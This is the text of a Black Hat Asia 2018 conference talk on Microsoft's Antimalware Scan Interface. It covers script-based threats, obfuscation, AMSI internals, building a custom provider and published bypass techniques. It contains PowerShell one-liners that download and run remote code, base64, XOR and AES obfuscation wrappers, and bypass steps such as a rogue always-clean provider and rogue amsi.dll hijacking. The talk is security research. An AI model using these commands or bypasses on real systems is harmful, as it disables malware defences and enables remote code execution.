## black hat ASIA 2018

#### MARCH 20-23, 2018

MARINA BAY SANDS / SINGAPORE

### The Rise and Fall of AMSI @Tal\_Liberman

💓 #BHASIA / @BlackHatEvents



#BHASIA

### 😏 @Tal\_Liberman

Research & Reverse Engineering

Founder @ Polarium

Previously

Head of Research Team @ enSilo

#ProcessDoppelgänging

#AtomBombing



- Introduction
  - Script Based & Fileless Threats
  - $\circ$  Obfuscation
  - The Cat and Mouse Game
- AMSI Overview
  - AMSI from the Developer's Perspective
  - AMSI from the Security Vendor's Perspective
- Building and Registering Your Own AMSI Provider

- Bypassing AMSI
- Final Thoughts

## **black hat** Script Based Threats

- "Script-based malware on the rise"
- This is not a trend it's mainstream
- There are more script based threats than there are binary threats\*
- Why scripts?
  - $\circ$  Already available on all target machines
  - $\circ$  Vastly used in domain settings
  - $\circ$  Scripts are faster to develop
  - $\circ$  Minimal skills needed to achieve good functionality
  - $\circ$  Obfuscation of text is more simple than of machine code
  - $\circ$  Harder to monitor scripts than compiled executables



- A file always has to be run
  - Assuming the malware survives a reboot
- But it can be a MS signed executable being abused
- Notorious examples are Poweliks and Kovter
- The main idea is to use a scripting engine to run code via command line
- Example:
  - powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/zkfaQL7c')"



 In software development, obfuscation is the deliberate act of creating source or machine code that is difficult for humans to understand --Wikipedia.

#BHASIA

• Well... except for the word "humans".

## black hat The Cat and Mouse Game

#### • Let's start with a simple example: function Invoke-Malware {

Write-Host 'Malware!';

• Simple signature: if script contains "Write-Host 'Malware'"  $\rightarrow$  Malicious

#BHASIA

```
Simple bypass:
function Invoke-Malware {
Write-Host "Malware!";
}
```

- Simple signature: if re.findall("Write-Host .Malware.", script) → Malicious
- Simple bypass:

}

```
function Invoke-Malware {
    Write-Host ("Mal" + "ware!");
}
```

## black hat The Cat and Mouse Game

### • Let's start being a little more sophisticated (just a bit):

function Invoke-NotMalware {

```
$malware_base64 = "V3JpdGUtSG9zdCAiTWFsd2FyZSEi";
```

```
$malware = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($malware_base64));
IEX ($malware);
```

#BHASIA

}

### • Simple signature:

o if script contains "V3JpdGUtSG9zdCAiTWFsd2FyZSEi" → Malicious

### • Simple bypass:

```
function Invoke-NotMalware {
```

\$malware\_base64 = "VwByAGkAdABIAC0ASABvAHMAdAAgACIATQBhAGwAdwBhAHIAZQAhACIA";

\$malware = [System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String(\$malware\_base64));
IEX (\$malware);

}



- Security solutions are able to emulate base64 decoding
- So malware authors move to algorithm based obfuscation such as XOR: \$key = 0x64
   \$encodedMalware = "M2QWZA1kEGQBZEIkLGQLZBdkEGREZEZkKWQFZAhkE2QFZBZkAWRFZEZk";
   \$bytes = [Convert]::FromBase64String(\$encodedMalware)
   \$decodedBytes = foreach (\$byte in \$bytes) {\$byte -bxor \$key}
   \$decodedMalware = [System.Text.Encoding]::Unicode.GetString(\$decodedBytes)
   IEX (\$decodedMalware)

#BHASIA

• Security solutions implement XOR emulation



function Decrypt-Malware(\$key, \$encryptedStringWithIV) {
 \$aesObj = New-Object "System.Security.Cryptography.AesManaged";
 \$aesObj.Mode = [System.Security.Cryptography.CipherMode]::CBC
 \$aesObj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
 \$bytes = [System.Convert]::FromBase64String(\$encryptedStringWithIV);
 \$aesObj.BlockSize = 128; \$aesObj.KeySize = 256; \$aesObj.IV = \$bytes[0..15];
 \$aesObj.Key = [System.Convert]::FromBase64String(\$key)
 \$unencryptedData = \$aesObj.CreateDecryptor().TransformFinalBlock(\$bytes, 16, \$bytes.Length - 16);
 \$aesObj.Dispose();
 [System.Text.Encoding]::UTF8.GetString(\$unencryptedData).Trim([char]0);
}

}

\$key = "ML57A09Y2VZNP7yYtaaKGVilRYQleuTYowMHX4J4kOk="; \$encryptedMalware = "zm2ABSUIXOMOF1rBRbtYFsoqgmPdkPSEUw2AC8m1jWAz8YTc9qCAOacwqy8Fc2Oa"; IEX (Decrypt-Malware \$key \$encryptedMalware)

## **black hat** Emulation + Analysis - there's a limit

- Solid encryption is not something we can bruteforce
- We can try to identify the key and the algorithm
  - Very hard to do reliably
  - What if the key comes from somewhere else?
    - File
    - Registry
    - Environment Variable
    - Internet
- A bit of creative thinking and we can slip past the most advanced detection algorithms



- At this point security products start to write signatures for the deobfuscators themselves, instead of the actual malware
- "In fact, this is what accounts for the vast majority of signatures for script-based malware." -- Lee Holmes from MS
- But if the obfuscation is as trivial as:

function Invoke-Malware {
 IEX (New-Object Net.WebClient).DownloadString(`https://pastebin.com/raw/tB5HjaNL');
}

• Trying to sign something like this would generate an unacceptable number of false positives



### Antimalware Scan Interface

https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx

#### Purpose

The Antimalware Scan Interface (AMSI) is a generic interface standard that allows applications and services to integrate with any antimalware product present on a machine. It provides enhanced malware protection for users and their data, applications, and workloads.

AMSI is antimalware vendor agnostic, designed to allow for the most common malware scanning and protection techniques provided by today's antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.

AMSI also supports the notion of a session so that antimalware vendors can correlate different scan requests. For instance, the different fragments of a malicious payload can be associated to reach a more informed decision, which would be much harder to reach just by looking at those fragments in isolation.

#### **Developer audience**

The Antimalware Scan Interface is designed for use by two groups of developers:

- App developers who want to make requests to antimalware products from within their apps.
- Third-party creators of antimalware products who want their products to offer the best features to apps.



- AMSI Antimalware Scan Interface
- Introduced to help AV vendors deal with script based threats
- It is a mechanism that standardizes scanning of content
- Any app can request any content to be scanned
- Any\* security vendor can register to receive scan requests
- The OS becomes a middle man

## black hat AMSI - Supported Vendors

- Windows Defender
  - <u>https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-devel</u> <u>opers-new-malware-defenses/</u>

- Windows Defender ATP
  - <u>https://cloudblogs.microsoft.com/microsoftsecure/2017/12/04/windows-defender-atp-machine-learning-and-amsi-unearthing-script-based-attacks-that-live-off-the-land/</u>
- ESET
  - <u>https://help.eset.com/eav/10/en-US/index.html?technology\_sbap.htm</u>
- AVG
  - <u>https://support.avg.com/answers?id=906b0000008oUTAAY</u>
- BitDefender
  - <u>https://www.reddit.com/r/BitDefender/comments/5ebk6o/How\_to\_Disable\_the\_AMSI\_Serv</u> <u>ice\_Provider/</u>



### AMSI from a developer's perspective

#BHASIA

How do you interact with AMSI?

## black hat From the Docs

AMSI Reference

- AMSI Enumerations
- AMSI Functions
- AMSI Interfaces

### Antimalware Scan Interface Reference

AMSI reference pages contain descriptions of the enumerations, interfaces, and other programming elements of the AMSI API. These topics provide information about the programming elements used by apps to integrate with antimalware products.

#BHASIA

Reference pages are divided into the following groups.

Section	Description
Antimalware Scan Interface Enumerations	Enumerations used by AMSI programming elements.
Antimalware Scan Interface Functions	Functions called by apps to request scans.
Antimalware Scan Interface Interfaces	Interfaces that make up the AMSI API.

## black hat AMSI - Enumerations

### Antimalware Scan Interface Enumerations

#BHASIA

Enumerations used by AMSI programming elements.

AMSI uses the following enumeration:

Enumeration	Description
AMSI_ATTRIBUTE	Specifies the types of attributes that can be requested by IAmsiStream::GetAttribute.
AMSI_RESULT	Specifies the types of results returned by scans.

## black hat AMSI - Enumerations

### AMSI\_ATTRIBUTE enumeration

The AMSI\_ATTRIBUTE enumeration specifies the types of attributes that can be requested by IAmsiStream::GetAttribute.

#### Constants

#### AMSI\_ATTRIBUTE\_APP\_NAME

Return the name, version, or GUID string of the calling application, copied from a LPWSTR.

#### AMSI\_ATTRIBUTE\_CONTENT\_NAME

Return the filename, URL, unique script ID, or similar of the content, copied from a LPWSTR.

#### AMSI\_ATTRIBUTE\_CONTENT\_SIZE

Return the size of the input, as a ULONGLONG.

#### AMSI\_ATTRIBUTE\_CONTENT\_ADDRESS

Return the memory address if the content is fully loaded into memory.

#### AMSI\_ATTRIBUTE\_SESSION

Session is used to associate different scan calls, such as if the contents to be scanned belong to the sample original script. Return a **PVOID** to the next portion of the content to be scanned. Return **nullptr** if the content is self-contained.

#### Syntax

C++

```
typedef enum _AMSI_ATTRIBUTE {
   AMSI_ATTRIBUTE_APP_NAME = 0,
   AMSI_ATTRIBUTE_CONTENT_NAME = 1,
   AMSI_ATTRIBUTE_CONTENT_SIZE = 2,
   AMSI_ATTRIBUTE_CONTENT_ADDRESS = 3,
   AMSI_ATTRIBUTE_SESSION = 4
} AMSI_ATTRIBUTE;
```

## black hat AMSI - Enumerations

### AMSI\_RESULT enumeration

The AMSI\_RESULT enumeration specifies the types of results returned by scans.

#### Syntax

C++

typedef enum AMSI\_RESULT {
 AMSI\_RESULT\_CLEAN = 0,
 AMSI\_RESULT\_NOT\_DETECTED = 1,
 AMSI\_RESULT\_BLOCKED\_BY\_ADMIN\_START = 16384,
 AMSI\_RESULT\_BLOCKED\_BY\_ADMIN\_END = 20479,
 AMSI\_RESULT\_DETECTED = 32768
} AMSI\_RESULT;

Constants

#### AMSI\_RESULT\_CLEAN

Known good. No detection found, and the result is likely not going to change after a future definition update.

#BHASIA

#### AMSI\_RESULT\_NOT\_DETECTED

No detection found, but the result might change after a future definition update.

#### AMSI\_RESULT\_BLOCKED\_BY\_ADMIN\_START

Administrator policy blocked this content on this machine (beginning of range).

#### AMSI\_RESULT\_BLOCKED\_BY\_ADMIN\_END

Administrator policy blocked this content on this machine (end of range).

#### AMSI\_RESULT\_DETECTED

Detection found. The content is considered malware and should be blocked.



### Antimalware Scan Interface Functions

Functions called by apps to request scans.

AMSI provides the following functions:

Function	Description
AmsiCloseSession	Close a session that was opened by AmsiOpenSession.
AmsiInitialize	Initialize the AMSI API.
AmsiOpenSession	Opens a session within which multiple scan requests can be correlated.
AmsiResultIsMalware	Determines if the result of a scan indicates that the content should be blocked.
AmsiScanBuffer	Scans a buffer-full of content for malware.
AmsiScanString	Scans a string for malware.
AmsiUninitialize	Remove the instance of the AMSI API that was originally opened by Amsilnitialize.

## black hat AMSI - Functions

### AmsiScanBuffer function

Scans a buffer-full of content for malware.

#### Syntax



#### Parameters

amsiContext [in]

The handle of type HAMSICONTEXT that was initially received from AmsiInitialize.

buffer [in]

The buffer from which to read the data to be scanned.

#### length [in]

The length, in bytes, of the data to be read from buffer.

#### contentName [in]

The filename, URL, unique script ID, or similar of the content being scanned.

#### session [in, optional]

If multiple scan requests are to be correlated within a session, set *session* to the handle of type HAMSISESSION that was initially received from AmsiOpenSession. Otherwise, set *session* to nullptr.

#BHASIA

#### result [out]

The result of the scan. See AMSI\_RESULT.

An app should use AmsiResultIsMalware to determine whether the content should be blocked.

## black hat AMSI - Functions

### AmsiScanString function

Scans a string for malware.

#### Syntax



#### Parameters

amsiContext [in] The handle of type HAMSICONTEXT that was initially received from AmsiInitialize.

#### string [in]

The string to be scanned.

#### contentName [in]

The filename, URL, unique script ID, or similar of the content being scanned.

#### session [in, optional]

If multiple scan requests are to be correlated within a session, set *session* to the handle of type HAMSISESSION that was initially received from **AmsiOpenSession**. Otherwise, set *session* to **nullptr**.

#### result [out]

The result of the scan. See AMSI\_RESULT.

An app should use AmsiResultIsMalware to determine whether the content should be blocked.



0000000100045A6 \_\_stdcall AmsiScanString(x, x, x, x, x) endp



### Antimalware Scan Interface Functions

Functions called by apps to request scans.

AMSI provides the following functions:

Function	Description
AmsiCloseSession	Close a session that was opened by AmsiOpenSession.
Amsilnitialize	Initialize the AMSI API.
AmsiOpenSession	Opens a session within which multiple scan requests can be correlated.
AmsiResultIsMalware	<pre>#define AmsiResultIsMalware(r) ((r) &gt;= AMSI_RESULT_DETECTED)</pre>
AmsiScanBuffer	Scans a buffer-full of content for malware.
AmsiScanString	Scans a string for malware.
AmsiUninitialize	Remove the instance of the AMSI API that was originally opened by AmsiInitialize.



### **AMSI** Implementation in PS

## **black hat** AMSI Implementation in PS

- Powershell is where theoretically AMSI is most effective
- Powershell is open source that's really cool! No reversing!

#BHASIA

• Easy to inspect how AMSI was integrated

```
61
71
72
74
83
```

```
internal bool Compile(bool optimized)
{
   if ( attributes == null)
        InitializeMetadata();
    }
   // We need the name to index map to check if any allscope variables are assigned. If they
   // are, we can't run the optimized version, so we'll compile once more unoptimized and run that.
   if (optimized && NameToIndexMap == null)
      CompileOptimized();
    }
   optimized = optimized && !VariableAnalysis.AnyVariablesCouldBeAllScope(NameToIndexMap);
   if (!optimized && ! compiledUnoptimized)
      CompileUnoptimized();
   else if (optimized && ! compiledOptimized)
      CompileOptimized();
    }
   return optimized;
```

```
130
              private void CompileUnoptimized()
131
132
                  lock (this)
                  {
                      if (_compiledUnoptimized)
                      {
                          // Another thread must have compiled while we were waiting on the lock.
137
                          return;
                      }
                     ReallyCompile(false);
                   -
                      _compiledUnoptimized = true;
                  }
              }
              private void CompileOptimized()
                  lock (this)
                      if ( compiledOptimized)
                      {
                          // Another thread must have compiled while we were waiting on the lock.
                          return;
                      }
154
                      ReallyCompile(true);
                      _compiledOptimized = true;
```

```
private void ReallyCompile(bool optimize)
                  var sw = new Stopwatch();
                  sw.Start();
                  if (!IsProductCode && SecuritySupport.IsProductBinary(((Ast) ast).Extent.File))
                  {
                      this.IsProductCode = true;
                  bool etwEnabled = ParserEventSource.Log.IsEnabled();
                  if (etwEnabled)
                  {
                     var extent = ast.Body.Extent;
                      var text = extent.Text;
                      ParserEventSource.Log.CompileStart(ParserEventSource.GetFileOrScript(extent.File, text), text.Length, optimize);
                  PerformSecurityChecks();
178
                  Compiler compiler = new Compiler();
                  compiler.Compile(this, optimize);
      #if LEGACYTELEMETRY
                  if (!IsProductCode)
                  {
                      TelemetryAPI.ReportScriptTelemetry((Ast)_ast, !optimize, sw.ElapsedMilliseconds);
                  }
     #endif
                 if (etwEnabled) ParserEventSource.Log.CompileStop();
              }
```



```
private void PerformSecurityChecks()
   var scriptBlockAst = Ast as ScriptBlockAst;
    if (scriptBlockAst == null)
        // Checks are only needed at the top level.
        return;
    // Call the AMSI API to determine if the script block has malicious content
   var scriptExtent = scriptBlockAst.Extent;
    if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI RESULT.AMSI RESULT DETECTED)
        var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);
        throw new ParseException(new[] { parseError });
   if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null)
       HasSuspiciousContent = true;
```



### AMSI from a security vendor's perspective

How do we implement an AMSI provider?



### Antimalware Scan Interface Interfaces

Interfaces that make up the AMSI API.

AMSI provides the following interfaces:

Interface	Description
IAmsiStream	Represents a stream to be scanned.
IAntimalware	Represents the antimalware product.
IAntimalwareProvider	Represents the provider of the antimalware product.



### IAmsiStream interface

Represents a stream to be scanned.

#### Members

The **IAmsiStream** interface inherits from the **IUnknown** interface. **IAmsiStream** also has these types of members:

Methods

#### Methods

The IAmsiStream interface has these methods.

Method	Description
GetAttribute	Returns a requested attribute from the stream.
Read	Requests a buffer-full of content to be read.

## black hat AMSI - Interfaces

### IAmsiStream::Read method

Requests a buffer-full of content to be read.

#### Syntax

C++ HRESULT Read( [in] ULONGLONG position, [in] ULONG size, [out] PVOID buffer, [out] ULONG \*readSize );

#### Parameters

position [in]

The zero-based index into the content at which the read is to begin.

size [in]

The number of bytes to read from the content.

*buffer* [out] Buffer into which the content is to be read.

readSize [out]

The number of bytes read into buffer.

## black hat IAmsiStream::Read

```
0:015 > k 3
# ChildEBP RetAddr
00 083bee2c 71976524 amsi provider demo!IAmsiProvider Scan
01 083bef00 71974541 amsi!CAmsiAntimalware::Scan+0xd4
02 083bef3c 077244a0 amsi!AmsiScanBuffer+0xa1
0:015> dps poi(esp+8) L2
083bef20 71971578 amsi!CAmsiBufferStream::`vftable'
083bef24 04cbabcc
0:015> dps poi(poi(esp+8)) L5
71971578 71973e00 amsi!CAmsiBufferStream::QuervInterface
7197157c 71973eb0 amsi!CAmsiBufferStream::AddRef
71971580 71973e80 amsi!CAmsiBufferStream::Release
71971584 71973ee0 amsi!CAmsiBufferStream::GetAttribute
71971588 71974050 amsi!CAmsiBufferStream::Read
```

00000010004050 ; int stdcall CAmsiBufferStream::Read(CAmsiBufferStream *this, ULONGLONG position, ULONG size, PVOID buffer, ULONG *readSize)
00000010004050 public: virtual long stdcall CAmsiBufferStream::Read(unsignedint64, unsigned long, unsigned char *, unsigned long *) proc near
000000010004050
00000010004050 this= dword ptr 8
00000010004050 position= gword ptr 0Ch
000000010004050 size= dword ptr 14h
00000010004050 buffer= dword ptr 18h
00000010004050 readSize= dword ptr 1Ch
00000010004050
00000010004050 moy edi. edi
000000010004052 push ebp
000000010004053 mov ebp. esp
000000010004055 mov eax, WPP GLOBAL Control
000000010004054 cmp eax, offset WPP GLOBAL Control
00000001000405F jz short lbl return e notimpl
<pre>     deddddddddddddddddddddddddddddddd</pre>
000000010004081
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ananananananananananananananananananan
88888886 pop ebp
aaaaaaaaaaaaaa a ahaa ahaa
000000010004087 public: virtual long stdcall CAmsiBufferStream::Read(unsigned int64, unsigned long, unsigned char *, unsigned long *) endp



### Antimalware Scan Interface Interfaces

Interfaces that make up the AMSI API.

AMSI provides the following interfaces:

Interface	Description	
IAmsiStream	Represents a stream to be scanned.	
IAntimalware	Represents the antimalware product.	What's the
IAntimalwareProvider	Represents the provider of the antimalware product.	difference?

## black hat AMSI - Interfaces

### IAntimalwareProvider interface

Represents the provider of the antimalware product.

#### Members

The IAntimalwareProvider interface inherits from the IUnknown interface IAntimalwareProvider also has these types of members:

#### Methods

The IAntimalwareProvider interface has these methods.

Scan a stream of content.

The name of the antimalware provider to be displayed.

**Syntax** 

#### Syntax

C++ HRESULT Scan( [in] IAmsiStream \*stream, [out] AMSI RESULT \*result );

### C++

HRESULT DisplayName( [out] LPWSTR \*displayName );

Windows Defender's AMSI Provider's DisplayName 0:014> u eip L1 MpOav!MPOAV::MpIOAVConfigGetValueString+0x4d: 6da5a67d c20800 8 ret 0:014> du 006c63b8 AA6c63b8 "Windows Defender"

#### **Parameters**

#### Parameters

#### stream [in]

The IAmsiStream stream to be scanned.

displayName [out] A pointer to a LPWSTR that contains the display name.

#### result [out]

The result of the scan. See AMSI RESULT.

## black hat AMSI - Architecture



https://blogs.technet.microsoft.com/mmpc/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/

## black hat Building a Provider

- We now know what we need to implement
  - Our very own IAntimalwareProvider
- The question is how do we implement it
- IAntimalwareProvider is a COM interface
- There are frameworks provided by MS for COM development
- No need to know how they actually work under the hood
- Use amsi.idl from Windows SDK

## black hat Building a Provider

- I do encourage you to forget about the frameworks
- Implement everything yourself
- You will learn a lot more
- Later go back and use the frameworks
- The best resource by far for this:
  - <u>https://www.codeproject.com/Articles/13601/COM-in-plain-C</u>

#BHASIA

• I'll be releasing my code sample as well

## black hat Registering a Provider

- Once we have built and registered our COM object
- We need to register it as an AMSI provider
- Unfortunately AMSI provider registration is **undocumented**

- But that's not going to stop us of course
- Let's take a look at amsi.dll

## black hat Registering a Provider

# push offset SubKey ; "Software\\Microsoft\\AMSI\\Providers" push ecx ; HKEY lea ecx, [ebp+phkResult] ; phkResult call CGuidEnum::StartEnum(HKEY\_ \*,ushort const \*)

## black hat Registering a Provider

- Registering a provider with AMSI involves two steps
  - Registering the COM object under HKCR\CLSID
  - Creating a key with our provider's GUID under:
    - HKLM\Software\Microsoft\AMSI\Providers
- Once we do that, we can run Powershell
  - We will now receive scan requests for every command that runs

#BHASIA

• That wasn't very hard - so why is it a secret?



- We now know how AMSI loads its providers
- But how does it dispatch the requests to the providers

- Can providers fail?
- What happens if they do?
- Let's have a quick look...

# **black hat** Scan Dispatching

00000000100		lea	<pre>eax, [ebx+CAmsiAntimalware.R_amsi_provider_list]</pre>
00000000100		mov	<pre>[ebp+R_v_amsi_provider_iterator], eax</pre>
🗾 🛃 🖾			
00000000100064F6			
00000000100064F6	R_1b1_	_dispatc	ch_provider_scan_loop:
00000000100064F6	mov	dword	d ptr [esi], AMSI_RESULT_NOT_DETECTED
00000000100064FC			
00000000100064FC			
00000000100064FC	; Get(	CurrentT	Time()
00000000100064FC	;		
00000000100064FC	call	UtilG	<pre>setCurrentTime(void)</pre>
0000000010006501	mov	edi,	eax
0000000010006503	mov	ebx,	edx
0000000010006505			
0000000010006505			
0000000010006505	; IAn	cimalwar	reProvider::Scan();
0000000010006505			
0000000010006505	mov	eax,	[ebp+R_v_amsi_provider_iterator]
000000001000650B	push	esi	; R_p_amsi_result
000000001000650C	push	[ebp+	-R_v_amsi_stream] ; R_p_stream
0000000010006512	mov	eax,	[eax]
0000000010006514	push	eax	; R_p_this
0000000010006515	mov	ecx,	[eax]
0000000010006517	mov	esi,	[ecx+IAmsiProviderVtbl.Scan]
000000001000651A	mov	ecx,	esi
000000001000651C	call	ds:	_guard_check_icall_fptr
0000000010006522	call	esi	; IAntimalwareProvider::Scan
0000000010006524	mov	esi,	eax
0000000010006526	mov	dword	ptr [ebp+R_v_scan_return_value], esi



- Providers are loaded by their GUIDs "alphabetically"
- Lower GUID  $\rightarrow$  Loaded first
- All providers are stored in a list
- When a request arrives, IAntimalware iterates through the list

- For each provider in providers
  - o if(provider::Scan(...) == S\_OK)
    - Break
  - $\circ$  else
    - Continue to next provider



• We know how to register a provider (requires administrator access)

- Let's register a simple provider
  - Always return S\_OK
  - Always set \*result = AMSI\_RESULT\_CLEAN
- Defender will no longer receive scan requests
  - If our GUID starts with 1 or 0
- This will essentially disable AMSI completely
- No indication to user or to Defender



- This is a crucial point we must understand
- When trying to bypass AMSI we need to understand what it was intended to solve
- "The crux of the issue is that scripting engines can run code that was generated at runtime. This is where the new Antimalware Scan Interface comes in."
- "While the malicious script might go through several passes of deobfuscation, it ultimately needs to supply the scripting engine with plain, unobfuscated code."



 AMSI is a technology created to help in the battle against script based malware

- AMSI assumes compromise if you're running a script, you're already infected
- AMSI wants to take away the attacker's ability to obfuscate code
   If it's a known malicious script, it will be caught, regardless of obfuscation



- Some bypasses are less troubling
- Mistake in implementation
- Something the developers didn't take into account

- Can usually be fixed without much effort
- Let's see some examples

## black hat COM Server Hijacking

- Great post by Matt Nelson (<u>enigma0x3</u>)
  - <u>https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/</u>

.text:000000018000223F	loc 18000223F:	: CODE XREF: Amsilnitialize+EE1i
.text:000000018000223F	nov	r8, rdi : Size
.text:000000180002242	nov	rdx, rbp : Src
.text:0000000180002245	nov	rcx, rax : Dst
.text:0000000180002248	call	nemcou Ø
text:00000180002240	xor	edx, edx : plinkfluter
text:000000018000224F	lea	rus, (that th)
text:0000000180002253	lea	r9. [10 ]Antinalware : 82d29c2e-f862-bbe6-b5c9-3d9a2f2ba2df
text:000000180002250	DOU	[rsp+48h+onul, rax : onu
.text:00000018000225F	lea	rcx, CLSID Antimalware : Edb88e52-a214-4aa1-8Eba-4357bb8872ec
text:0000000180002266	lea	r8d [rdx+1] : dwClsContext
.text:000000018000226A	call	cs: imp CoCreateInstance
.text:0000000180002270	nov	edi, eax
.text:0000000180002272	test	eax, eax
.text:0000000180002274	ins	short loc 180002202
.text:0000000180002276	nov	rcx, cs:WPP GLOBAL Control
.text:000000018000227D	COD	rcx. r15
.text:0000000180002280	iz	short loc 180002209
.text:0000000180002282	test	bute ptr [rcx+1Ch], 1
.text:0000000180002286	iz	short loc 180002209
.text:0000000180002288	nov	rcx, [rcx+10h]
.text:000000018000228C	lea	r8, WPP 0e1a90e6e89438e05d402a459ef83ad1 Traceguids
.text:0000000180002293	nov	edx, 14h
.text:0000000180002298	nov	r9d, eax
.text:0000000180002298	call	WPP SF D
.text:00000001800022A0	inp	short loc 1800022D9
tovt-88888888198882202		

# black hat COM Server Hijacking

Tim Process Name	Operation	Path	Result	^
1:44:5 Dowershell exe	RegQueryValue	HKCR\/CLSID\/fdb00e52-a214-4aa1-8fba-4357bb0072ec}\/(Default)	SUCCESS	- 11
1:44:5. Zpowershell.exe	RegQueryKey	HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	SUCCESS	
1:44:5 Moowershell exe	RegQueryKey	HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	SUCCESS	
1:44:5 Epowershell exe	RegOpenKey	HKCU/Software/Classes/CLSID//fdb00e52-a214-4aa1-8fba-4357bb0072ec//inprocServer32	NAME NOT FOUND	
1:44:5 Zpowershell.exe	RegQueryKey	HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	SUCCESS	
1:44:5 Dowershell.exe	RegOpenKey	HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InprocServer32	SUCCESS	
1:44:5 Zpowershell.exe	RegQueryKey	HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InprocServer32	SUCCESS	
1:44:5. Zpowershell.exe	RegQueryKey	HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InprocServer32	SUCCESS	
1:44:5 Zpowershell.exe	RegOpenKey	HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InprocServer32	NAME NOT FOUND	
1:44:5 27 powershell exe	RegQueryValue	HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InprocServer32\InprocServer32	NAME NOT FOUND	
1:44:5 Expowershell.exe	RegQueryKey	HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InprocServer32	SUCCESS	
1:44:5 Dowershell.exe	RegQueryKey	HKCR\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InprocServer32	SUCCESS	~
<				>
Showing 2,610 of 302,460 event	ts (0.86%) Backed by	virtual memory		
C//Windows/System32/W	indowsPowerShell(v1,0).power	shell.exe - WinDbg:10.0.14321.1024 AMD64	- 0	×
File Edit View Debug N	Window Help			
🗃 🖉 🖻 🖬 😫 😣	M H P P P			
Command				2.0
•••• WARNING: Unable •••• EFROR: Module 1d ansi WasiInitialize 00007ff8'b0c92030 4 0:0089 g Breakpoint 2 hit •••• FFROR: Sumbal f ansi 1D11GetClassObjd 00007ff8'b0c91780 4	to verify checksus f coad completed but sys 88bc4 mov ile could not be four ect: 88bc4 mov	or C:\Windows\assembly\NativeImages_v4.0.30319_64\System_Manaa57fc8cc#\7c abols could not be loaded for C:\Windows\assembly\NativeImages_v4.0.30319_ rax.rsp adDefaulted to export symbols for C:\Windows\System32\combase.dll - rax.rsp	462dd4abc76013fb7b898 64\System Manaa57fc8cc	1956 A 5#\7
00007ff8'b0c91780 4	88bc4 aov	rax.rsp		



- Another great post by Satoshi Tanda (<u>@standa\_t</u>)
  - <u>http://standa-note.blogspot.com/2018/02/amsi-bypass-with-null-character.htm</u>





• Run from a different directory than its original directory

- It will try to load amsi.dll from that directory
- Put a rogue amsi.dll in that directory
- No need for administrator access



- Powershell.exe is not located in System32
- It is in a subfolder of System32:
  - C:\Windows\System32\WindowsPowerShell\v1.0
- Amsi.dll is in System32
- Powershell tries to load amsi.dll from its directory before system32

10:2 🗵 powershel 43 🗟 CreateFile	C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.031bf3856ad364e35\amsi.dll	NAME NOT FOUND
10:2 powershel 43 KreateFile	C:\Windows\System32\WindowsPowerShell\v1.0\amsi.dll	NAME NOT FOUND
10:2 Dowershel 43 🗟 CreateFile	C:\Windows\System32\amsi.dll	SUCCESS

#BHASIA

• Needs administrator access

## black hat Missing DLL

### Put a rogue amsi.dll in C:\Windows\System32\WindowsPowerShell\v1.0\

10:22: 22 powershell.exe	/124 ExCloseFile	C:\Windows\System32\CatRoot\{F/50E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35^x86~~10.0.16299.15.cat	SUCCESS
10:22: Zpowershell.exe	7124 ScloseFile	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psm1	SUCCESS
10:22: Zpowershell.exe	7124 🛃 Create File	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
10:22: Zpowershell.exe	7124 RueryNetworkOpenInformation	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
10:22: Zpowershell.exe	7124 🗟 CloseFile	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
10:22: Zpowershell.exe	7124 🗟 CreateFile	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
10:22: Zpowershell.exe	7124 🗟 QueryBasicInformationFile	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
10:22: Zpowershell.exe	7124 🗟 Close File	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
10:22: Zpowershell.exe	7124 🗟 CreateFile	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
10:22: Zpowershell.exe	7124 🗟 QueryBasicInformationFile	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
10:22: Zpowershell.exe	7124 🛃 Close File	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
10:22: Zpowershell.exe	7124 🗟 CreateFile	C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0_31bf3856ad364e35\amsi.dll	NAME NOT FOU
